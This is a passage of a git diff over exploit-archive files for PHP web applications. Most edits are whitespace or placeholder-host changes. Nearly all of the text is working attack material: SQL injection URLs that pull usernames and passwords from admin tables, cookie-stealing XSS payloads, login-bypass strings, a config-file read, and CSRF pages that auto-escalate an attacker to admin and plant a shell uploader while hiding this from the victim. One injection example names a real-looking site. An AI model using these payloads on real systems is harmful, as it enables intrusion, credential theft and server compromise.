compromise the application, acc CS-Cart 2.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/controllers/customer/products.php?tabs_group_id=[SQL INJECT] \ No newline at end of file +http://www.example.com/controllers/customer/products.php?tabs_group_id=[SQL INJECT] \ No newline at end of file diff --git a/platforms/php/webapps/36094.txt b/platforms/php/webapps/36094.txt index 68b717d60..37ae1fba3 100755 --- a/platforms/php/webapps/36094.txt +++ b/platforms/php/webapps/36094.txt @@ -14,4 +14,4 @@ http://www.example.com/admin/upload/tfu_213.swf =>> =>> If login : -> Auth ByPass = -- user = ' or '=' or ' --- pass = ' or '=' or ' \ No newline at end of file +-- pass = ' or '=' or ' \ No newline at end of file diff --git a/platforms/php/webapps/36095.txt b/platforms/php/webapps/36095.txt index a29c6d395..37236adb0 100755 --- a/platforms/php/webapps/36095.txt +++ b/platforms/php/webapps/36095.txt @@ -8,4 +8,4 @@ Serendipity 1.5.1 is vulnerable; other versions may also be affected. http://www.example.com/research_display.php?ID=47 and 1=1 //\\ http://www.aarda.org/research_display.php?ID=47 and 1=2 -http://www.example.com/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,group_concat%28user,0x3a,pass,0x3a,email%29,null,null,null+FROM+Admin \ No newline at end of file +http://www.example.com/research_display.php?ID=-null+UNiON+ALL+SELECT+null,null,null,group_concat%28user,0x3a,pass,0x3a,email%29,null,null,null+FROM+Admin \ No newline at end of file diff --git a/platforms/php/webapps/36096.txt b/platforms/php/webapps/36096.txt index 4a5a2c5d2..39d1f2d35 100755 --- a/platforms/php/webapps/36096.txt +++ b/platforms/php/webapps/36096.txt @@ -4,4 +4,4 @@ Web Professional is prone to an SQL-injection vulnerability because it fails to Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.examplecom/default.php?t=news&id=[SQL] \ No newline at end of file +http://www.examplecom/default.php?t=news&id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36097.txt b/platforms/php/webapps/36097.txt index ded061724..112e96b5a 100755 --- a/platforms/php/webapps/36097.txt +++ b/platforms/php/webapps/36097.txt @@ -4,4 +4,4 @@ Mambo CMS N-Skyrslur is prone to cross-site scripting vulnerability because it f An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/[PATH]/index.php?option=com_n-skyrslur&Itemid=51&do=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_n-skyrslur&Itemid=51&do=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36098.html b/platforms/php/webapps/36098.html index a09dd9edd..13bb27462 100755 --- a/platforms/php/webapps/36098.html +++ b/platforms/php/webapps/36098.html @@ -23,7 +23,7 @@ Timeline: Exploit Description: This exploit will automatically log you in and change the email to any registered user except for the admin that is installed with the web application. Click on "Become a member" on the target website to insert the appropriate cookies for this to work. -Once the exploit takes place proceed to click "Modify" and change the password. To see if the user has some sort of admin privileges go to server/admin/ while still logged in. If they do it will say "Vic_username, enter your password:" and login with the password you just changed it to. +Once the exploit takes place proceed to click "Modify" and change the password. To see if the user has some sort of admin privileges go to site.com/admin/ while still logged in. If they do it will say "Vic_username, enter your password:" and login with the password you just changed it to. Disclaimer: I cannot be held accountable for anything you do with this exploit. You take responsibility for your own actions. For educational and testing purposes only. @@ -38,7 +38,7 @@ I cannot be held accountable for anything you do with this exploit. You take res Thanks: Fred, d1ch4do, & to all of the people who don't believe in me.<br> <a href="https://linkedin.com/in/brandonm86">My LinkedIn</a><br>-----------------------------------------------------------------------------------</font> <body> - <form action="http://webserver/user.php?lng=en" method="POST"> <!-- Change this action to http://webserver/user.php?lng=en&uuser=new to work with 5.00.10. --> + <form action="http://website.com/user.php?lng=en" method="POST"> <!-- Change this action to http://website.com/user.php?lng=en&uuser=new to work with 5.00.10. --> <input type="hidden" name="token" value="131095497e5f9d22882.83937400"/> <!-- Click on become a member. View the source then search for "token" and replace this value. Remove this line to work with 5.00.10 --> <input type="hidden" name="setusercookie" value="1"/> <input type="hidden" name="uuser" value="update"/> <!-- Wet paint. Don't touch! --> diff --git a/platforms/php/webapps/36099.html b/platforms/php/webapps/36099.html index d3345d9b8..fc8f60e06 100755 --- a/platforms/php/webapps/36099.html +++ b/platforms/php/webapps/36099.html @@ -21,9 +21,9 @@ Timeline: 2/17/2015 Public Disclosure. Was delayed due to holiday. Exploit Description: -Stable with Firefox 34.0.5. Other browsers may be unstable or may not work. When an authenticated admin is exposed to the code below it will do a couple things. "CSRF 1" allows a registered user to escalate their privileges to Collaborator Admin with access to the "files" plugin. This will allow the attacker to upload a php shell to compromise the server. Once executed the attacker would log into the website as normal then proceed to server/admin where it greets them with "AttackerName, enter your password :" and login with the same password you registered with. Hover over "General Management" and then click "Files" where the you can upload a shell of your choosing. +Stable with Firefox 34.0.5. Other browsers may be unstable or may not work. When an authenticated admin is exposed to the code below it will do a couple things. "CSRF 1" allows a registered user to escalate their privileges to Collaborator Admin with access to the "files" plugin. This will allow the attacker to upload a php shell to compromise the server. Once executed the attacker would log into the website as normal then proceed to site.com/admin where it greets them with "AttackerName, enter your password :" and login with the same password you registered with. Hover over "General Management" and then click "Files" where the you can upload a shell of your choosing. -"CSRF 2" As stated earlier the admin has to be authenticated for this to work. However, the attacker doesn't need an account for "CSRF 2" to work. If the attacker does have an account "CSRF 1" and "CSRF 2" are both automatically executed when the page is loaded giving them 2 ways in. All that is needed on the attacker's end is to go to server/file/up.php, upload your shell and access it at server/file/shell_name.php The admin must have access to the "files" plugin. +"CSRF 2" As stated earlier the admin has to be authenticated for this to work. However, the attacker doesn't need an account for "CSRF 2" to work. If the attacker does have an account "CSRF 1" and "CSRF 2" are both automatically executed when the page is loaded giving them 2 ways in. All that is needed on the attacker's end is to go to site.com/file/up.php, upload your shell and access it at site.com/file/shell_name.php The admin must have access to the "files" plugin. Thanks: Fred, d1ch4do, & to all of the people who don't believe in me. @@ -36,7 +36,7 @@ I cannot be held accountable for anything you do with this exploit. You take res <!-- CSRF 1 start - Escalate attacker privileges to Collaborator Admin with the ability to upload unrestricted files (A shell). --> <html> <body onload="document.forms[0].submit(); redirect(); submitRequest()"> - <form action="http://server/admin/admin.php?lng=en&pg=attribdroits" method="POST"> + <form action="http://site.com/admin/admin.php?lng=en&pg=attribdroits" method="POST"> <input type="hidden" name="namedroits" value="TestUser"/> <!-- Attacker user name. You must register this user first! --> <input type="hidden" name="etape" value="3"/> <input type="hidden" name="drtuser38" value="5f4dcc3b5aa765d61d8327deb882cf99"/> <!-- Attacker password md5 hash. --> @@ -47,14 +47,14 @@ I cannot be held accountable for anything you do with this exploit. You take res </form> <script> function redirect(){ - window.location.href = "http://server/index.php"; <!-- Redirect admin to somewhere else after the CSRF takes place or he/she would know the jig is up. --> + window.location.href = "http://site.com/index.php"; <!-- Redirect admin to somewhere else after the CSRF takes place or he/she would know the jig is up. --> } <!-- End CSRF 1 --> - <!-- CSRF 2 start - Uploads a small upload script that can then be used to upload your favorite shell. Go to server/file/up.php then upload your shell. --> + <!-- CSRF 2 start - Uploads a small upload script that can then be used to upload your favorite shell. Go to site.com/file/up.php then upload your shell. --> function submitRequest() { var xhr = new XMLHttpRequest(); - xhr.open("POST", "http://server/admin/admin.php?lng=en&pg=upload", true); + xhr.open("POST", "http://site.com/admin/admin.php?lng=en&pg=upload", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------221361792726389"); diff --git a/platforms/php/webapps/36102.txt b/platforms/php/webapps/36102.txt index 0a410152e..34f6dd7ef 100755 --- a/platforms/php/webapps/36102.txt +++ b/platforms/php/webapps/36102.txt @@ -4,4 +4,4 @@ The Mambo CMS N-Gallery component is prone to an SQL-injection vulnerability bec Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_n-gallery&Itemid=-0&flokkur=23 union select 0 from mos_users-- \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_n-gallery&Itemid=-0&flokkur=23 union select 0 from mos_users-- \ No newline at end of file diff --git a/platforms/php/webapps/36103.txt b/platforms/php/webapps/36103.txt index e6a71d3fb..bb0c18860 100755 --- a/platforms/php/webapps/36103.txt +++ b/platforms/php/webapps/36103.txt @@ -4,4 +4,4 @@ The Mambo CMS AHS Shop component is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_ahsshop&flokkur=-294 union select 0,username,password,3,4,5,6,7,8,9 from mos_users \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_ahsshop&flokkur=-294 union select 0,username,password,3,4,5,6,7,8,9 from mos_users \ No newline at end of file diff --git a/platforms/php/webapps/36106.txt b/platforms/php/webapps/36106.txt index 5e339d848..eade97a1c 100755 --- a/platforms/php/webapps/36106.txt +++ b/platforms/php/webapps/36106.txt @@ -4,4 +4,4 @@ The Mambo CMS N-Press component is prone to an SQL-injection vulnerability becau Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_n-press&press=10 union select 0,username,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from mos_users \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_n-press&press=10 union select 0,username,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 from mos_users \ No newline at end of file diff --git a/platforms/php/webapps/36108.txt b/platforms/php/webapps/36108.txt index e911fe1fd..8b04b5881 100755 --- a/platforms/php/webapps/36108.txt +++ b/platforms/php/webapps/36108.txt @@ -4,4 +4,4 @@ The Mambo CMS N-Frettir component is prone to an SQL-injection vulnerability bec Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_n-frettir&do=view&Itemid=81&id=-54 union select 0,username,2,password,4,5,6,7,8,9,10 from mos_users \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_n-frettir&do=view&Itemid=81&id=-54 union select 0,username,2,password,4,5,6,7,8,9,10 from mos_users \ No newline at end of file diff --git a/platforms/php/webapps/36109.txt b/platforms/php/webapps/36109.txt index af41bfe3b..93a9659fd 100755 --- a/platforms/php/webapps/36109.txt +++ b/platforms/php/webapps/36109.txt @@ -4,4 +4,4 @@ The Mambo CMS N-Myndir component is prone to an SQL-injection vulnerability beca Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[PATH]/index.php?option=com_n-myndir&flokkur=-16 union select username from mos_users \ No newline at end of file +http://www.example.com/[PATH]/index.php?option=com_n-myndir&flokkur=-16 union select username from mos_users \ No newline at end of file diff --git a/platforms/php/webapps/3611.txt b/platforms/php/webapps/3611.txt index 73e844c87..3f694f6ff 100755 --- a/platforms/php/webapps/3611.txt +++ b/platforms/php/webapps/3611.txt @@ -1,4 +1,4 @@ -.-""""""""-. + .-""""""""-. / Dj7xpl \ | | |, .-. .-. ,| diff --git a/platforms/php/webapps/36110.txt b/platforms/php/webapps/36110.txt index 2aa86dc0f..3a847a4b5 100755 --- a/platforms/php/webapps/36110.txt +++ b/platforms/php/webapps/36110.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary script code in the brows ACal 2.2.6 is vulnerable; other versions may also be affected. -http://www.example.com/calendar/calendar.php?year=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/calendar/calendar.php?year=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/36113.txt b/platforms/php/webapps/36113.txt index f73f9b8b9..5d76c3abf 100755 --- a/platforms/php/webapps/36113.txt +++ b/platforms/php/webapps/36113.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Advanced Image Hosting Script 2.3 is vulnerable; other versions may also be affected. -http://www.example.com/demo/aihspro/report.php?img_id=[XSS] \ No newline at end of file +http://www.example.com/demo/aihspro/report.php?img_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36114.txt b/platforms/php/webapps/36114.txt index 2f0be69e8..56f853a97 100755 --- a/platforms/php/webapps/36114.txt +++ b/platforms/php/webapps/36114.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to compromise the application, a http://www.example.com/easygallery/index.php?Go=Go&page=search&search=1' or (sleep(2)%2b1) limit 1 -http://www.example.com/easygallery/index.php?do=<SQL Injection Code>&page=register&PageSection=0 \ No newline at end of file +http://www.example.com/easygallery/index.php?do=<SQL Injection Code>&page=register&PageSection=0 \ No newline at end of file diff --git a/platforms/php/webapps/36121.txt b/platforms/php/webapps/36121.txt index e24c82a92..717dedaef 100755 --- a/platforms/php/webapps/36121.txt +++ b/platforms/php/webapps/36121.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Zikula Application Framework 1.3.0 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?module=theme&type=admin&func=setasdefault&themename=%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?module=theme&type=admin&func=setasdefault&themename=%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/36122.txt b/platforms/php/webapps/36122.txt index 2747e7af2..06ab0e125 100755 --- a/platforms/php/webapps/36122.txt +++ b/platforms/php/webapps/36122.txt @@ -4,4 +4,4 @@ SkaDate is prone to a cross-site scripting vulnerability because it fails to pro An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/member/blogs.php?tag=blog+[XSS] \ No newline at end of file +http://www.example.com/member/blogs.php?tag=blog+[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36123.txt b/platforms/php/webapps/36123.txt index 80ca73b1e..f8cac2dce 100755 --- a/platforms/php/webapps/36123.txt +++ b/platforms/php/webapps/36123.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc In-link 5.1.3 RC1 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?t=sub_pages&cat=-1+Union+select+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 \ No newline at end of file +http://www.example.com/index.php?t=sub_pages&cat=-1+Union+select+1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 \ No newline at end of file diff --git a/platforms/php/webapps/36135.txt b/platforms/php/webapps/36135.txt index cd44d521b..bac068e35 100755 --- a/platforms/php/webapps/36135.txt +++ b/platforms/php/webapps/36135.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Owen Cutajar Auctions versions 1.8.8 and prior are vulnerable. -http://www.example.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 \ No newline at end of file +http://www.example.com/wp-content/plugins/paid-downloads/download.php?download_key=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20 \ No newline at end of file diff --git a/platforms/php/webapps/36136.txt b/platforms/php/webapps/36136.txt index ad4d0c536..cf2114e3c 100755 --- a/platforms/php/webapps/36136.txt +++ b/platforms/php/webapps/36136.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor StarDevelop LiveHelp 2.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/index.php?language_file=[LFI]%00 \ No newline at end of file +http://www.example.com/[path]/index.php?language_file=[LFI]%00 \ No newline at end of file diff --git a/platforms/php/webapps/36144.txt b/platforms/php/webapps/36144.txt index 08db36bb4..4b9f52905 100755 --- a/platforms/php/webapps/36144.txt +++ b/platforms/php/webapps/36144.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?action=[sql inject] http://www.example.com/Card-sharj-scripts/admin/index.php -Username & Password: admin' or '1=1 \ No newline at end of file +Username & Password: admin' or '1=1 \ No newline at end of file diff --git a/platforms/php/webapps/36149.txt b/platforms/php/webapps/36149.txt index fc5d7ca12..551ebef39 100755 --- a/platforms/php/webapps/36149.txt +++ b/platforms/php/webapps/36149.txt @@ -7,4 +7,4 @@ Exploiting these issues could allow an attacker to compromise the application, a OneCMS 2.6.4 is vulnerable; other versions may also be affected. http://www.example.com/boards.php?t=list&rank=[SQL insertion attacks] -http://www.example.com/index.php?load=list&view=games&abc=[SQL insertion attacks] \ No newline at end of file +http://www.example.com/index.php?load=list&view=games&abc=[SQL insertion attacks] \ No newline at end of file diff --git a/platforms/php/webapps/36151.txt b/platforms/php/webapps/36151.txt index 80b99d536..2b205cdee 100755 --- a/platforms/php/webapps/36151.txt +++ b/platforms/php/webapps/36151.txt @@ -4,4 +4,4 @@ Zyncro social network is prone to an SQL-injection vulnerability because it fail Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com//zwall/list/filter//appIdFilter//shareGroupUrnFilter/c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809 \ No newline at end of file +http://www.example.com//zwall/list/filter//appIdFilter//shareGroupUrnFilter/c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809 \ No newline at end of file diff --git a/platforms/php/webapps/36167.txt b/platforms/php/webapps/36167.txt index f4d49782c..f3126baf2 100755 --- a/platforms/php/webapps/36167.txt +++ b/platforms/php/webapps/36167.txt @@ -13,4 +13,4 @@ http://www.example.com/AdaptCMS/admin.php?view=/&view=settings http://www.example.com/AdaptCMS/admin.php?view=/&view=users http://www.example.com/AdaptCMS/admin.php?view=/&view=groups http://www.example.com/AdaptCMS/admin.php?view=/&view=levels -http://www.example.com/AdaptCMS/admin.php?view=/&view=stats \ No newline at end of file +http://www.example.com/AdaptCMS/admin.php?view=/&view=stats \ No newline at end of file diff --git a/platforms/php/webapps/36168.txt b/platforms/php/webapps/36168.txt index 4adc4e8f9..3c975507d 100755 --- a/platforms/php/webapps/36168.txt +++ b/platforms/php/webapps/36168.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Serendipity Freetag-plugin 3.22; prior versions may also be affected. -http://www.example.com/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=[xss] \ No newline at end of file +http://www.example.com/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=managetags&serendipity[tagview]=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36170.txt b/platforms/php/webapps/36170.txt index c62095903..69aa6aaf5 100755 --- a/platforms/php/webapps/36170.txt +++ b/platforms/php/webapps/36170.txt @@ -4,4 +4,4 @@ PunBB is prone to a cross-site scripting vulnerability because it fails to prope An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/browse.php?keywords=[xss]&search=Search&projects=1&styles=1&forums=1 \ No newline at end of file +http://www.example.com/browse.php?keywords=[xss]&search=Search&projects=1&styles=1&forums=1 \ No newline at end of file diff --git a/platforms/php/webapps/36171.txt b/platforms/php/webapps/36171.txt index 1bdbdc411..c8d0c70de 100755 --- a/platforms/php/webapps/36171.txt +++ b/platforms/php/webapps/36171.txt @@ -4,4 +4,4 @@ The 'com_biitatemplateshop' component for Joomla! is prone to an SQL-injection v Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_biitatemplateshop&groups=[SQLI] \ No newline at end of file +http://www.example.com/index.php?option=com_biitatemplateshop&groups=[SQLI] \ No newline at end of file diff --git a/platforms/php/webapps/36173.txt b/platforms/php/webapps/36173.txt index c01d85ec5..173a914fc 100755 --- a/platforms/php/webapps/36173.txt +++ b/platforms/php/webapps/36173.txt @@ -4,4 +4,4 @@ Vanira CMS is prone to an SQL-injection vulnerability because the application fa A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/voteshow.php?vact=ok&vtpidshow=1 [SQL insertion attacks] \ No newline at end of file +http://www.example.com/voteshow.php?vact=ok&vtpidshow=1 [SQL insertion attacks] \ No newline at end of file diff --git a/platforms/php/webapps/36178.txt b/platforms/php/webapps/36178.txt index 59d0652f1..6d4da9b32 100755 --- a/platforms/php/webapps/36178.txt +++ b/platforms/php/webapps/36178.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Atahualpa 3.6.8 are vulnerable. -http://www.example.com/?s=%26%23039;%2balert(123)%2b%26%23039; \ No newline at end of file +http://www.example.com/?s=%26%23039;%2balert(123)%2b%26%23039; \ No newline at end of file diff --git a/platforms/php/webapps/36179.txt b/platforms/php/webapps/36179.txt index 0a7cd3ade..f00372a4d 100755 --- a/platforms/php/webapps/36179.txt +++ b/platforms/php/webapps/36179.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Hybrid theme 0.10 are vulnerable. -http://www.example.com/?p=8&cpage=[XSS] \ No newline at end of file +http://www.example.com/?p=8&cpage=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36180.txt b/platforms/php/webapps/36180.txt index 3977f3912..260d85a4c 100755 --- a/platforms/php/webapps/36180.txt +++ b/platforms/php/webapps/36180.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to F8 Lite theme 4.2.2 are vulnerable. -http://www.example.com/?p=8&s=[XSS] \ No newline at end of file +http://www.example.com/?p=8&s=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36182.txt b/platforms/php/webapps/36182.txt index e9168e098..9864be1c9 100755 --- a/platforms/php/webapps/36182.txt +++ b/platforms/php/webapps/36182.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to EvoLve theme 1.2.6 is vulnerable. -http://www.example.com?s=[xss] \ No newline at end of file +http://www.example.com?s=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36183.txt b/platforms/php/webapps/36183.txt index 63bf17b2a..1e8065e1e 100755 --- a/platforms/php/webapps/36183.txt +++ b/platforms/php/webapps/36183.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Cover WP theme 1.6.6 are vulnerable. -http://www.example.com/?s=[XSS] \ No newline at end of file +http://www.example.com/?s=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/36185.txt b/platforms/php/webapps/36185.txt index a80683ccf..76d8ab6fa 100755 --- a/platforms/php/webapps/36185.txt +++ b/platforms/php/webapps/36185.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Pixiv Custom theme 2.1.5 is vulnerable; prior versions may also be affected. -http://www.example.com/?cpage=[xss] \ No newline at end of file +http://www.example.com/?cpage=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36186.txt b/platforms/php/webapps/36186.txt index b063cc4e5..e1d1cfeb4 100755 --- a/platforms/php/webapps/36186.txt +++ b/platforms/php/webapps/36186.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Morning Coffee theme prior to 3.6 are vulnerable. -http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t \ No newline at end of file +http://www.example.com/wp/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=53851965%3C/ScRiPt%3E/t \ No newline at end of file diff --git a/platforms/php/webapps/36187.txt b/platforms/php/webapps/36187.txt index fad45b1f4..b88d8198d 100755 --- a/platforms/php/webapps/36187.txt +++ b/platforms/php/webapps/36187.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Black-LetterHead theme 1.5 is vulnerable; prior versions may also be affected. -http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1& \ No newline at end of file +http://www.example.com/index.php/%22+%3E%3C/form%3E%3CScRiPt%3Exss=69566599%3C/ScRiPt%3E/t Post Request:s=1& \ No newline at end of file diff --git a/platforms/php/webapps/36191.txt b/platforms/php/webapps/36191.txt index 982182d31..f42812297 100755 --- a/platforms/php/webapps/36191.txt +++ b/platforms/php/webapps/36191.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow RedLine theme prior to 1.66 are vulnerable. -http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e \ No newline at end of file +http://www.example.com/?s="%20%3e%3c/link%3e%3cScRiPt%3ealert(123)%3c/ScRiPt%3e \ No newline at end of file diff --git a/platforms/php/webapps/36193.txt b/platforms/php/webapps/36193.txt index 265fd6733..e7f853265 100755 --- a/platforms/php/webapps/36193.txt +++ b/platforms/php/webapps/36193.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc WP Bannerize 2.8.7 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/wp-bannerize/ajax_sorter.phplimit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) \ No newline at end of file +http://www.example.com/wp-content/plugins/wp-bannerize/ajax_sorter.phplimit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) \ No newline at end of file diff --git a/platforms/php/webapps/36195.txt b/platforms/php/webapps/36195.txt index 80b537733..5ecbf5e30 100755 --- a/platforms/php/webapps/36195.txt +++ b/platforms/php/webapps/36195.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to Trending theme 0.2 are vulnerable. -http://www.exmaple.com/?p=8&cpage=[xss] \ No newline at end of file +http://www.exmaple.com/?p=8&cpage=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/36196.txt b/platforms/php/webapps/36196.txt index ae36554a4..d33ac1a6a 100755 --- a/platforms/php/webapps/36196.txt +++ b/platforms/php/webapps/36196.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Viewpoint 6.0 SP2 is vulnerable; other versions may also be affected. -https://www.example.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1 \ No newline at end of file +https://www.example.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID=3%20order%20by%201,%20%28 select%20case%20when%20%281=1%29%20%20then%201%20else%201*%28select%20table_name%20from%20information_schema.tables%29end%29=1 \ No newline at end of file diff --git a/platforms/php/webapps/36200.txt b/platforms/php/webapps/36200.txt index 324f712ad..6f1eb90dd 100755 --- a/platforms/php/webapps/36200.txt +++ b/platforms/php/webapps/36200.txt @@ -8,4 +8,4 @@ Netvolution 2.5.8 is vulnerable; other versions may also be affected. The following example input is available: -Referer: 1','0'); [SQL] \ No newline at end of file +Referer: 1','0'); [SQL] \ No newline at end of file diff --git a/platforms/php/webapps/36208.txt b/platforms/php/webapps/36208.txt index 62fd7b67e..a6e96e83a 100755 --- a/platforms/php/webapps/36208.txt +++ b/platforms/php/webapps/36208.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&d http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5-- -http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4-- \ No newline at end of file +http://www.example.com/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4-- \ No newline at end of file diff --git a/platforms/php/webapps/36214.txt b/platforms/php/webapps/36214.txt index b2493da79..855055c3e 100755 --- a/platforms/php/webapps/36214.txt +++ b/platforms/php/webapps/36214.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to download local files in the context of the BuzzyWall 1.3.2 is vulnerable; other versions may also be affected. -http://www.example.com/resolute.php?img=config.php \ No newline at end of file +http://www.example.com/resolute.php?img=config.php \ No newline at end of file diff --git a/platforms/php/webapps/36215.txt b/platforms/php/webapps/36215.txt index 9176bed08..e3cb1b7c3 100755 --- a/platforms/php/webapps/36215.txt +++ b/platforms/php/webapps/36215.txt @@ -4,4 +4,4 @@ The 'com_expedition' component for Joomla! is prone to an SQL-injection vulnerab 